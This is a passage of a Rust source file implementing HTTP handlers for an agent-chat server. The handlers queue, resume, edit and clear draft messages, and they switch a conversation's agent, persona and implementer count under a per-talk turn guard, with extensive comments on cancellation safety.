9960            ));
9961        }
9962        TalkTurnStart::Busy => {
9963            // A turn is already running: queue rather than refuse. See
9964            // `Ui::begin_talk_turn` and `talk::queue`.
9965            //
9966            // The queue write and the drain it may owe live inside the task
9967            // `tokio::spawn` hands to the runtime, for the same reason the
9968            // immediate path below puts `record` there: a dropped handler
9969            // future must not be able to land between a durable write and
9970            // the task that answers it. `blocking` runs its closure on
9971            // `spawn_blocking`, which finishes whether or not anyone is left
9972            // to receive its result - so a disconnect at the `.await` below
9973            // would otherwise leave the draft persisted and the reclaimed
9974            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9975            // ever started and the queued text stranded until some later
9976            // `say` happened to pick it up. The caller's 202 travels back
9977            // over a `oneshot`, sent the moment the write lands.
9978            let (tx, rx) = tokio::sync::oneshot::channel();
9979            tokio::spawn({
9980                let ui = Arc::clone(&ui);
9981                let id = id.clone();
9982                let said = body.text.clone();
9983                let reply_to = body.reply_to.clone();
9984                async move {
9985                    let written = blocking({
9986                        let ui = Arc::clone(&ui);
9987                        let id = id.clone();
9988                        move || {
9989                            let mut talk = ui.talks.get(&id)?;
9990                            // A test-only stop point, right before the write
9991                            // an interleaving test needs to pin - see
9992                            // `BusyQueueGate`. `None` in every real server:
9993                            // the field only exists under `#[cfg(test)]`.
9994                            #[cfg(test)]
9995                            if let Some(gate) = ui
9996                                .busy_queue_gate
9997                                .lock()
9998                                .unwrap_or_else(PoisonError::into_inner)
9999                                .take()
10000                            {
10001                                let _ = gate.reached.send(());
10002                                let _ = gate.release.recv();
10003                            }
10004                            if let Err(error) = talk::queue_reply(
10005                                &mut talk,
10006                                &ui.talks,
10007                                &said,
10008                                attachments,
10009                                reply_to,
10010                            ) {
10011                                if let Ok(fresh) = ui.talks.get(&id) {
10012                                    if !fresh.status.open() {
10013                                        return Err(ApiError::conflict(format!(
10014                                            "talk {} is {} and takes no more turns",
10015                                            fresh.short(),
10016                                            fresh.status.as_str()
10017                                        )));
10018                                    }
10019                                }
10020                                return Err(
10021                                    if error.to_string().contains("invalid reply target") {
10022                                        ApiError::bad_request("invalid reply target")
10023                                    } else {
10024                                        ApiError::from(error)
10025                                    },
10026                                );
10027                            }
10028                            // The turn that looked busy a moment ago can have
10029                            // finished, found nothing to drain and given up the
10030                            // slot in the gap between that check and this write
10031                            // landing - see `drain_loop`'s own doc for the other
10032                            // half of why that gap would otherwise be able to
10033                            // open at all. Reclaiming the slot here, rather than
10034                            // trusting that whoever held it is still watching, is
10035                            // what stops the text just queued from being stranded
10036                            // until an unrelated future `say` happens to drain
10037                            // it.
10038                            let claim = match ui.begin_queued_talk_turn(&id)? {
10039                                Some(turn_guard) => {
10040                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
10041                                    Some((talk.clone(), cfg, turn_guard))
10042                                }
10043                                None => None,
10044                            };
10045                            let thinking = ui.is_thinking(&id);
10046                            Ok((TalkView::new(talk, thinking, &ui), claim))
10047                        }
10048                    })
10049                    .await;
10050                    #[cfg(not(test))]
10051                    {
10052                        match written {
10053                            Ok((view, reclaimed)) => {
10054                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10055                                drop(reclaimed);
10056                                match launched {
10057                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10058                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10059                                }
10060                            }
10061                            Err(error) => { let _ = tx.send(Err(error)); }
10062                        }
10063                    }
10064                    #[cfg(test)]
10065                    {
10066                    let (view, reclaimed) = match written {
10067                        Ok(pair) => pair,
10068                        Err(e) => {
10069                            // Nobody is listening if the handler's own future
10070                            // was already dropped - that is fine, nothing was
10071                            // persisted and there is no response left to carry
10072                            // this error to.
10073                            let _ = tx.send(Err(e));
10074                            return;
10075                        }
10076                    };
10077                    // If this fails, the caller is gone; the drain below still
10078                    // runs exactly as it would have for a caller that stayed.
10079                    let _ = tx.send(Ok(view));
10080                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10081                        let talks = ui.talks.clone();
10082                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10083                    }
10084                    }
10085                }
10086            });
10087            let view = rx
10088                .await
10089                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10090            return Ok((StatusCode::ACCEPTED, Json(view)));
10091        }
10092    };
10093
10094    let (talk, cfg) = {
10095        let ui = Arc::clone(&ui);
10096        let id = id.clone();
10097        blocking(move || {
10098            let talk = ui.talks.get(&id)?;
10099            let (cfg, _) = Config::discover(&talk.repo, None)?;
10100            Ok((talk, cfg))
10101        })
10102        .await?
10103    };
10104
10105    let talks = ui.talks.clone();
10106    // `record` runs *inside* the spawned task, rather than in this handler
10107    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10108    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10109    // doc), and that drop can land at any `.await` this function makes,
10110    // including one that has already produced its result but not yet
10111    // resumed. A message could end up recorded on disk with the handler
10112    // future gone before it ever reached the `tokio::spawn` that would have
10113    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10114    // that hands the whole future to the runtime as one unit - once made, no
10115    // later drop of *this* handler's own future (that call's return value is
10116    // never held onto here) can reach back in and stop it, so record and the
10117    // hand-off to `respond` are unconditionally atomic from the client's
10118    // point of view. The immediate response this handler owes the caller
10119    // travels back over a `oneshot`, sent the moment `record` succeeds.
10120    let (tx, rx) = tokio::sync::oneshot::channel();
10121    tokio::spawn({
10122        #[cfg(test)]
10123        let ui = Arc::clone(&ui);
10124        let talks = talks.clone();
10125        let id = id.clone();
10126        let said = body.text.clone();
10127        let reply_to = body.reply_to.clone();
10128        let mut talk = talk.clone();
10129        async move {
10130            let recorded = blocking({
10131                let talks = talks.clone();
10132                move || {
10133                    if let Err(error) =
10134                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10135                    {
10136                        if let Ok(fresh) = talks.get(&talk.id) {
10137                            if !fresh.status.open() {
10138                                return Err(ApiError::conflict(format!(
10139                                    "talk {} is {} and takes no more turns",
10140                                    fresh.short(),
10141                                    fresh.status.as_str()
10142                                )));
10143                            }
10144                        }
10145                        return Err(if error.to_string().contains("invalid reply target") {
10146                            ApiError::bad_request("invalid reply target")
10147                        } else {
10148                            ApiError::from(error)
10149                        });
10150                    }
10151                    // `record` mutates `talk` in place to the freshly persisted
10152                    // state (status, pending, and the just-appended operator
10153                    // turn), so returning it here is equivalent to re-reading it
10154                    // from disk - without the extra round trip a re-read would
10155                    // need.
10156                    Ok((said.trim().to_owned(), talk))
10157                }
10158            })
10159            .await;
10160            let (text, talk) = match recorded {
10161                Ok(pair) => pair,
10162                Err(e) => {
10163                    // Nobody is listening if the handler's own future was
10164                    // already dropped - that is fine, there is no response
10165                    // left to carry this error to and nothing was persisted.
10166                    let _ = tx.send(Err(e));
10167                    return;
10168                }
10169            };
10170            #[cfg(not(test))]
10171            {
10172                let _ = (&cfg, &text);
10173                // The reservation becomes durable while this process still
10174                // holds the talk lease. The child waits for that lease; the
10175                // new UI sees its startup reservation immediately.
10176                let result = crate::chat_worker::spawn_recorded_turn(
10177                    &talks, &id, talk.turns.len() - 1,
10178                ).await;
10179                drop(turn_guard);
10180                match result {
10181                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10182                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10183                }
10184            }
10185            #[cfg(test)]
10186            {
10187            let queued = talk.clone();
10188            let mut talk = talk;
10189            let thinking = ui.is_thinking(&id);
10190            // If this fails, the caller is gone; the turn still runs below
10191            // exactly as it would have for a caller that stayed connected.
10192            let _ = tx.send(Ok((queued, thinking)));
10193
10194            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
10195                // `respond` records the failure in the transcript itself,
10196                // which is what the phone reads; this line is for the
10197                // operator's terminal.
10198                tracing::warn!("talk {id} turn failed: {e:#}");
10199            }
10200            // Anything `talk::queue` added while the turn above was running
10201            // is still owed an answer - see `drain_loop`.
10202            drain_loop(talk, talks, cfg, id, turn_guard).await;
10203            }
10204        }
10205    });
10206
10207    let (queued, thinking) = rx
10208        .await
10209        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10210
10211    // 202: the operator's message is recorded and a turn is running.
10212    Ok((
10213        StatusCode::ACCEPTED,
10214        Json(TalkView::new(queued, thinking, &ui)),
10215    ))
10216    }).await
10217}
10218
10219/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10220/// changing it. The turn guard is the same per-talk ownership `talk_say`
10221/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10222async fn talk_pending_resume(
10223    State(ui): State<Arc<Ui>>,
10224    Path(id): Path<String>,
10225) -> ApiResult<(StatusCode, Json<TalkView>)> {
10226    let admission = ui.begin_admission()?;
10227    admitted(admission, async move {
10228        let id = {
10229            let ui = Arc::clone(&ui);
10230            let asked = id.clone();
10231            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10232        };
10233        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10234            .await
10235            .map_err(ApiError::from)?;
10236        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10237            return Err(ApiError::conflict(
10238                "a talk turn is already running; the queued draft will be handled by it",
10239            ));
10240        };
10241        let (talk, cfg) = {
10242            let ui = Arc::clone(&ui);
10243            let id = id.clone();
10244            blocking(move || {
10245                let talk = ui.talks.get(&id)?;
10246                if !talk.status.open() {
10247                    return Err(ApiError::conflict(format!(
10248                        "talk {} is {} and takes no more turns",
10249                        talk.short(),
10250                        talk.status.as_str()
10251                    )));
10252                }
10253                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10254                    return Err(ApiError::conflict("there is no queued draft to resume"));
10255                }
10256                let (cfg, _) = Config::discover(&talk.repo, None)?;
10257                Ok((talk, cfg))
10258            })
10259            .await?
10260        };
10261        let view = TalkView::new(talk.clone(), true, &ui);
10262        let talks = ui.talks.clone();
10263        #[cfg(not(test))]
10264        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10265        #[cfg(test)]
10266        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10267        Ok((StatusCode::ACCEPTED, Json(view)))
10268    })
10269    .await
10270}
10271
10272/// Hand off an admitted draft while retaining the talk lease until its
10273/// detached startup reservation is durable.
10274#[cfg(not(test))]
10275async fn detach_talk_turn(
10276    _talk: Talk,
10277    talks: Talks,
10278    _cfg: Config,
10279    id: String,
10280    turn: TalkTurnGuard,
10281) -> ApiResult<()> {
10282    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10283    drop(turn);
10284    launched.map(|_| ()).map_err(ApiError::from)
10285}
10286
10287#[cfg(test)]
10288async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10289    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10290}
10291
10292/// A settings response must not report idle while its claim is still held.
10293/// Wait until the first drain either releases the claim or promotes a draft.
10294/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10295async fn settle_settings_turn(
10296    talk: Talk,
10297    talks: Talks,
10298    cfg: Config,
10299    id: String,
10300    turn: TalkTurnGuard,
10301    observed: u64,
10302) -> bool {
10303    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10304        let turns = Arc::clone(&turn.turns);
10305        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10306        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10307            // Release under the arrival lock; a later `/say` takes its own claim.
10308            turn.release(&mut live);
10309            return false;
10310        }
10311    }
10312    let (started, settled) = tokio::sync::oneshot::channel();
10313    tokio::spawn(drain_loop_started(
10314        talk,
10315        talks,
10316        cfg,
10317        id,
10318        turn,
10319        Some(started),
10320    ));
10321    settled.await.unwrap_or(false)
10322}
10323
10324#[cfg(not(test))]
10325async fn drain_loop_started(
10326    talk: Talk,
10327    talks: Talks,
10328    _cfg: Config,
10329    id: String,
10330    turn: TalkTurnGuard,
10331    started: Option<tokio::sync::oneshot::Sender<bool>>,
10332) {
10333    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10334    let running = if pending {
10335        match crate::chat_worker::spawn_turn(&talks, &id).await {
10336            Ok(_) => true,
10337            Err(error) => {
10338                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10339                false
10340            }
10341        }
10342    } else {
10343        false
10344    };
10345    drop(turn);
10346    if let Some(started) = started {
10347        let _ = started.send(running);
10348    }
10349}
10350
10351// Existing in-process conversation tests exercise transcript/arrival ordering;
10352// real process-lifetime behavior is covered by the CLI integration tests.
10353#[cfg(test)]
10354async fn drain_loop_started(
10355    mut talk: Talk,
10356    talks: Talks,
10357    cfg: Config,
10358    id: String,
10359    turn: TalkTurnGuard,
10360    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10361) {
10362    let live_set = Arc::clone(&turn.turns);
10363    // `Option` rather than binding `turn` directly to a `_turn` that lives
10364    // for the whole function: releasing it has to happen by calling
10365    // `TalkTurnGuard::release` from inside the locked branch below, which
10366    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10367    // remove the id - correctly, if this loop is ever left some other way -
10368    // but doing it there misses the lock this loop is already holding, which
10369    // is the exact gap `release` exists to close.
10370    let mut turn = Some(turn);
10371    loop {
10372        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10373            // The lease was taken over while a turn ran. Whatever is queued
10374            // stays a draft; running it here would race the new owner.
10375            tracing::warn!("talk {id} lost its turn lease; not draining further");
10376            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10377            if let Some(turn) = turn.take() {
10378                turn.release(&mut live);
10379            }
10380            break;
10381        }
10382        // `talk::drain` takes the store lock and can write/rename the talk
10383        // file. Keep the turn mutex out of that synchronous work: it protects
10384        // every talk's in-memory claim, not this talk's disk operation.
10385        let observed = live_set
10386            .lock()
10387            .unwrap_or_else(PoisonError::into_inner)
10388            .queued
10389            .get(&id)
10390            .copied()
10391            .unwrap_or(0);
10392        let drained = blocking({
10393            let talks = talks.clone();
10394            move || {
10395                let result = talk::drain(&mut talk, &talks);
10396                Ok((talk, result))
10397            }
10398        })
10399        .await;
10400        let (next_talk, result) = match drained {
10401            Ok(drained) => drained,
10402            Err(e) => {
10403                tracing::warn!(
10404                    status = %e.status,
10405                    message = %e.message,
10406                    "talk {id} could not start queued-text drain"
10407                );
10408                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10409                turn.take()
10410                    .expect("held for the whole loop until released here")
10411                    .release(&mut live);
10412                break;
10413            }
10414        };
10415        talk = next_talk;
10416        let drained = match result {
10417            Ok(Some(drained)) => drained,
10418            Ok(None) => {
10419                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10420                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10421                    continue;
10422                }
10423                turn.take()
10424                    .expect("held for the whole loop until released here")
10425                    .release(&mut live);
10426                break;
10427            }
10428            Err(e) => {
10429                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10430                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10431                turn.take()
10432                    .expect("held for the whole loop until released here")
10433                    .release(&mut live);
10434                break;
10435            }
10436        };
10437        if let Some(started) = started.take() {
10438            let _ = started.send(true);
10439        }
10440        let responded = match turn.as_ref() {
10441            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10442            None => Err(anyhow::anyhow!("the turn guard was released")),
10443        };
10444        if let Err(e) = responded {
10445            tracing::warn!("talk {id} turn failed: {e:#}");
10446        }
10447    }
10448    drop(turn);
10449    if let Some(started) = started {
10450        let _ = started.send(false);
10451    }
10452}
10453
10454/// Clear a queued draft only if it remains exactly the one the caller saw.
10455async fn talk_pending_clear(
10456    State(ui): State<Arc<Ui>>,
10457    Path(id): Path<String>,
10458    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10459) -> ApiResult<Json<TalkView>> {
10460    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10461    blocking(move || {
10462        let id = resolve_talk(&ui.talks, &id)?;
10463        let mut talk = ui.talks.get(&id)?;
10464        if !talk.status.open() {
10465            return Err(ApiError::conflict(format!(
10466                "talk {} is {} and takes no more turns",
10467                talk.short(),
10468                talk.status.as_str()
10469            )));
10470        }
10471        if !talk::clear_pending_if_matches(
10472            &mut talk,
10473            &ui.talks,
10474            &body.expected_text,
10475            &body.expected_attachments,
10476        )? {
10477            return Err(ApiError::conflict(
10478                "queued message changed; reload it before clearing",
10479            ));
10480        }
10481        let thinking = ui.is_thinking(&talk.id);
10482        Ok(Json(TalkView::new(talk, thinking, &ui)))
10483    })
10484    .await
10485}
10486
10487/// Atomically edit a queued draft's text while preserving its attachments.
10488/// The snapshot fields make a concurrent queue or drain a conflict rather
10489/// than silently discarding either message.
10490async fn talk_pending_edit(
10491    State(ui): State<Arc<Ui>>,
10492    Path(id): Path<String>,
10493    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10494) -> ApiResult<Json<TalkView>> {
10495    let admission = ui.begin_admission()?;
10496    admitted(admission, async move {
10497        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10498        let id = {
10499            let ui = Arc::clone(&ui);
10500            blocking(move || resolve_talk(&ui.talks, &id)).await?
10501        };
10502        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10503            .await
10504            .map_err(ApiError::from)?;
10505        let (view, reclaimed) = blocking({
10506            let ui = Arc::clone(&ui);
10507            move || {
10508                let mut talk = ui.talks.get(&id)?;
10509                if !talk.status.open() {
10510                    return Err(ApiError::conflict(format!(
10511                        "talk {} is {} and takes no more turns",
10512                        talk.short(),
10513                        talk.status.as_str()
10514                    )));
10515                }
10516                if !talk::edit_pending_message(
10517                    &mut talk,
10518                    &ui.talks,
10519                    &body.text,
10520                    &body.expected_text,
10521                    &body.expected_attachments,
10522                    body.message,
10523                )? {
10524                    return Err(ApiError::conflict(
10525                        "queued message changed; reload it before editing",
10526                    ));
10527                }
10528                let claim = match ui.begin_queued_talk_turn(&id)? {
10529                    Some(turn_guard) => {
10530                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10531                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10532                    }
10533                    None => None,
10534                };
10535                let thinking = ui.is_thinking(&id);
10536                Ok((TalkView::new(talk, thinking, &ui), claim))
10537            }
10538        })
10539        .await?;
10540        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10541            let talks = ui.talks.clone();
10542            #[cfg(not(test))]
10543            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10544            #[cfg(test)]
10545            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10546        }
10547        Ok(Json(view))
10548    })
10549    .await
10550}
10551
10552/// The 409 for a talk that takes no more turns.
10553fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10554    if talk.status.open() {
10555        return Ok(());
10556    }
10557    Err(ApiError::conflict(format!(
10558        "talk {} is {} and takes no more turns",
10559        talk.short(),
10560        talk.status.as_str()
10561    )))
10562}
10563
10564/// The body of `POST /api/talks/{id}/agent`.
10565#[derive(Debug, Deserialize)]
10566struct TalkAgent {
10567    agent: String,
10568}
10569
10570/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10571/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10572/// start a turn on the old session between the check and the write; one that
10573/// arrives in that window finds the talk busy and becomes a draft.
10574async fn talk_agent(
10575    State(ui): State<Arc<Ui>>,
10576    Path(id): Path<String>,
10577    Json(body): Json<TalkAgent>,
10578) -> ApiResult<Json<TalkView>> {
10579    let admission = ui.begin_admission()?;
10580    admitted(admission, async move {
10581        let id = {
10582            let ui = Arc::clone(&ui);
10583            blocking(move || resolve_talk(&ui.talks, &id)).await?
10584        };
10585        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10586            .await
10587            .map_err(ApiError::from)?;
10588        let repo = {
10589            let ui = Arc::clone(&ui);
10590            let id = id.clone();
10591            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10592        };
10593        let cfg = config_for(&repo).await?;
10594        // Refuse before taking the claim; see `talk_implementers`.
10595        {
10596            let ui = Arc::clone(&ui);
10597            let id = id.clone();
10598            let cfg = cfg.clone();
10599            let wanted = body.agent.clone();
10600            blocking(move || {
10601                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10602                    .map_err(ApiError::bad_request_from)?;
10603                refuse_if_closed(&ui.talks.get(&id)?)
10604            })
10605            .await?;
10606        }
10607        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10608            return Err(ApiError::conflict(
10609                "a talk turn is running; change the agent once it has answered",
10610            ));
10611        };
10612        let switched = {
10613            let ui = Arc::clone(&ui);
10614            let id = id.clone();
10615            let cfg = cfg.clone();
10616            blocking(move || {
10617                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10618                    .map_err(ApiError::bad_request_from)?;
10619                let mut talk = ui.talks.get(&id)?;
10620                if !talk.status.open() {
10621                    return Err(ApiError::conflict(format!(
10622                        "talk {} is {} and takes no more turns",
10623                        talk.short(),
10624                        talk.status.as_str()
10625                    )));
10626                }
10627                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10628                Ok(talk)
10629            })
10630            .await
10631        };
10632        // A `/say` that landed while this held the claim saw the talk busy and
10633        // left a durable draft, trusting the claim's owner to drain it. So the
10634        // claim is settled whatever the outcome. Release an empty draft's claim
10635        // before replying; queued drafts continue independently of the handler.
10636        let observed = ui.queued_generation(&id);
10637        let fresh = {
10638            let ui = Arc::clone(&ui);
10639            let id = id.clone();
10640            blocking(move || Ok(ui.talks.get(&id)?)).await
10641        };
10642        let draining = match fresh {
10643            Ok(talk) => {
10644                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10645            }
10646            Err(_) => false,
10647        };
10648        let talk = switched?;
10649        Ok(Json(TalkView::new(talk, draining, &ui)))
10650    })
10651    .await
10652}
10653
10654/// The body of `POST /api/talks/{id}/persona`.
10655#[derive(Debug, Deserialize)]
10656struct TalkPersona {
10657    persona: String,
10658}
10659
10660/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10661/// like [`talk_agent`]: the turn guard is held for the change and always handed
10662/// to `drain_loop`, so a draft left meanwhile is not stranded.
10663async fn talk_persona(
10664    State(ui): State<Arc<Ui>>,
10665    Path(id): Path<String>,
10666    Json(body): Json<TalkPersona>,
10667) -> ApiResult<Json<TalkView>> {
10668    let admission = ui.begin_admission()?;
10669    admitted(admission, async move {
10670        let id = {
10671            let ui = Arc::clone(&ui);
10672            blocking(move || resolve_talk(&ui.talks, &id)).await?
10673        };
10674        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10675            .await
10676            .map_err(ApiError::from)?;
10677        let repo = {
10678            let ui = Arc::clone(&ui);
10679            let id = id.clone();
10680            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10681        };
10682        let cfg = config_for(&repo).await?;
10683        // Refuse before taking the claim; see `talk_implementers`.
10684        {
10685            let ui = Arc::clone(&ui);
10686            let id = id.clone();
10687            let cfg = cfg.clone();
10688            let wanted = body.persona.clone();
10689            blocking(move || {
10690                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10691                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10692                }
10693                refuse_if_closed(&ui.talks.get(&id)?)
10694            })
10695            .await?;
10696        }
10697        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10698            return Err(ApiError::conflict(
10699                "a talk turn is running; change the persona once it has answered",
10700            ));
10701        };
10702        let switched = {
10703            let ui = Arc::clone(&ui);
10704            let id = id.clone();
10705            let cfg = cfg.clone();
10706            blocking(move || {
10707                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10708                    return Err(ApiError::bad_request(format!(
10709                        "unknown persona `{}`",
10710                        body.persona
10711                    )));
10712                };
10713                let mut talk = ui.talks.get(&id)?;
10714                if !talk.status.open() {
10715                    return Err(ApiError::conflict(format!(
10716                        "talk {} is {} and takes no more turns",
10717                        talk.short(),
10718                        talk.status.as_str()
10719                    )));
10720                }
10721                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10722                Ok(talk)
10723            })
10724            .await
10725        };
10726        // As in `talk_agent`: settle the claim before replying, even on refusal.
10727        let observed = ui.queued_generation(&id);
10728        let fresh = {
10729            let ui = Arc::clone(&ui);
10730            let id = id.clone();
10731            blocking(move || Ok(ui.talks.get(&id)?)).await
10732        };
10733        let draining = match fresh {
10734            Ok(talk) => {
10735                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10736            }
10737            Err(_) => false,
10738        };
10739        let talk = switched?;
10740        Ok(Json(TalkView::new(talk, draining, &ui)))
10741    })
10742    .await
10743}
10744
10745/// The body of `POST /api/talks/{id}/implementers`.
10746#[derive(Debug, Deserialize)]
10747struct TalkImplementers {
10748    implementers: u8,
10749}
10750
10751/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10752/// like [`talk_agent`]: the turn guard is held for the change and always handed
10753/// to `drain_loop`, so a draft left meanwhile is not stranded.
10754async fn talk_implementers(
10755    State(ui): State<Arc<Ui>>,
10756    Path(id): Path<String>,
10757    Json(body): Json<TalkImplementers>,
10758) -> ApiResult<Json<TalkView>> {
10759    let admission = ui.begin_admission()?;
10760    admitted(admission, async move {
10761        let id = {
10762            let ui = Arc::clone(&ui);
10763            blocking(move || resolve_talk(&ui.talks, &id)).await?
10764        };
10765        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10766            .await
10767            .map_err(ApiError::from)?;
10768        let repo = {
10769            let ui = Arc::clone(&ui);
10770            let id = id.clone();
10771            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10772        };
10773        let cfg = config_for(&repo).await?;
10774        // Refuse a request that cannot succeed before taking the claim: a claim
10775        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10776        // moment, so a refusal would make the next request see "busy" instead of
10777        // its own answer. The checks after the claim stay the ones that decide.
10778        {
10779            let ui = Arc::clone(&ui);
10780            let id = id.clone();
10781            let cfg = cfg.clone();
10782            let wanted = body.implementers;
10783            blocking(move || {
10784                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10785                refuse_if_closed(&ui.talks.get(&id)?)
10786            })
10787            .await?;
10788        }
10789        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10790            return Err(ApiError::conflict(
10791                "a talk turn is running; change the implementers once it has answered",
10792            ));
10793        };
10794        let switched = {
10795            let ui = Arc::clone(&ui);
10796            let id = id.clone();
10797            let cfg = cfg.clone();
10798            blocking(move || {
10799                let chosen = talk::check_implementers(body.implementers, &cfg)
10800                    .map_err(ApiError::bad_request)?;
10801                let mut talk = ui.talks.get(&id)?;
10802                if !talk.status.open() {
10803                    return Err(ApiError::conflict(format!(
10804                        "talk {} is {} and takes no more turns",
10805                        talk.short(),
10806                        talk.status.as_str()
10807                    )));
10808                }
10809                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10810                Ok(talk)
10811            })
10812            .await
10813        };
10814        // As in `talk_agent`: settle the claim before replying, even on refusal.
10815        let observed = ui.queued_generation(&id);
10816        let fresh = {
10817            let ui = Arc::clone(&ui);
10818            let id = id.clone();
10819            blocking(move || Ok(ui.talks.get(&id)?)).await
10820        };
10821        let draining = match fresh {
10822            Ok(talk) => {
10823                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10824            }
10825            Err(_) => false,
10826        };
10827        let talk = switched?;
10828        Ok(Json(TalkView::new(talk, draining, &ui)))
10829    })
10830    .await
10831}
10832
10833/// `POST /api/talks/{id}/close`.
10834async fn talk_close(
10835    State(ui): State<Arc<Ui>>,
10836    Path(id): Path<String>,
10837) -> ApiResult<Json<TalkView>> {
10838    blocking(move || {
10839        let id = resolve_talk(&ui.talks, &id)?;
10840        let mut talk = ui.talks.get(&id)?;
10841        talk::close(&mut talk, &ui.talks).map_err(|error| {
10842            if error.is::<talk::ClosePendingInput>() {
10843                ApiError::conflict(format!("{error:#}"))
10844            } else {
10845                ApiError::from(error)
10846            }
10847        })?;
10848        let thinking = ui.is_thinking(&talk.id);
10849        Ok(Json(TalkView::new(talk, thinking, &ui)))
10850    })
10851    .await
10852}
10853
10854/// `POST /api/talks/{id}/reopen`.
10855async fn talk_reopen(
10856    State(ui): State<Arc<Ui>>,
10857    Path(id): Path<String>,
10858) -> ApiResult<Json<TalkView>> {
10859    blocking(move || {
10860        let id = resolve_talk(&ui.talks, &id)?;
10861        let mut talk = ui.talks.get(&id)?;
10862        talk::reopen(&mut talk, &ui.talks)?;
10863        let thinking = ui.is_thinking(&talk.id);
10864        Ok(Json(TalkView::new(talk, thinking, &ui)))
10865    })
10866    .await
10867}
10868
10869/// `DELETE /api/talks/{id}`.
10870///
10871/// Removes the conversation's record and artifacts outright, unlike
10872/// [`talk_close`] which keeps the record as history. A turn already in
10873/// flight is not refused here the way [`run_delete`] refuses a live run:
10874/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10875/// under [`Talks::guard`], that the record they are about to write back is
10876/// still there, so a delete racing a turn is safe without this route having
10877/// to know a turn is running at all.
10878async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10879    blocking(move || {
10880        let id = resolve_talk(&ui.talks, &id)?;
10881        ui.talks.remove(&id)?;
10882        Ok(StatusCode::NO_CONTENT)
10883    })
10884    .await
10885}
10886
10887fn talk_ids(root: &FsPath) -> Vec<String> {
10888    std::fs::read_dir(root)
10889        .into_iter()
10890        .flatten()
10891        .flatten()
10892        .filter_map(|e| {
10893            let path = e.path();
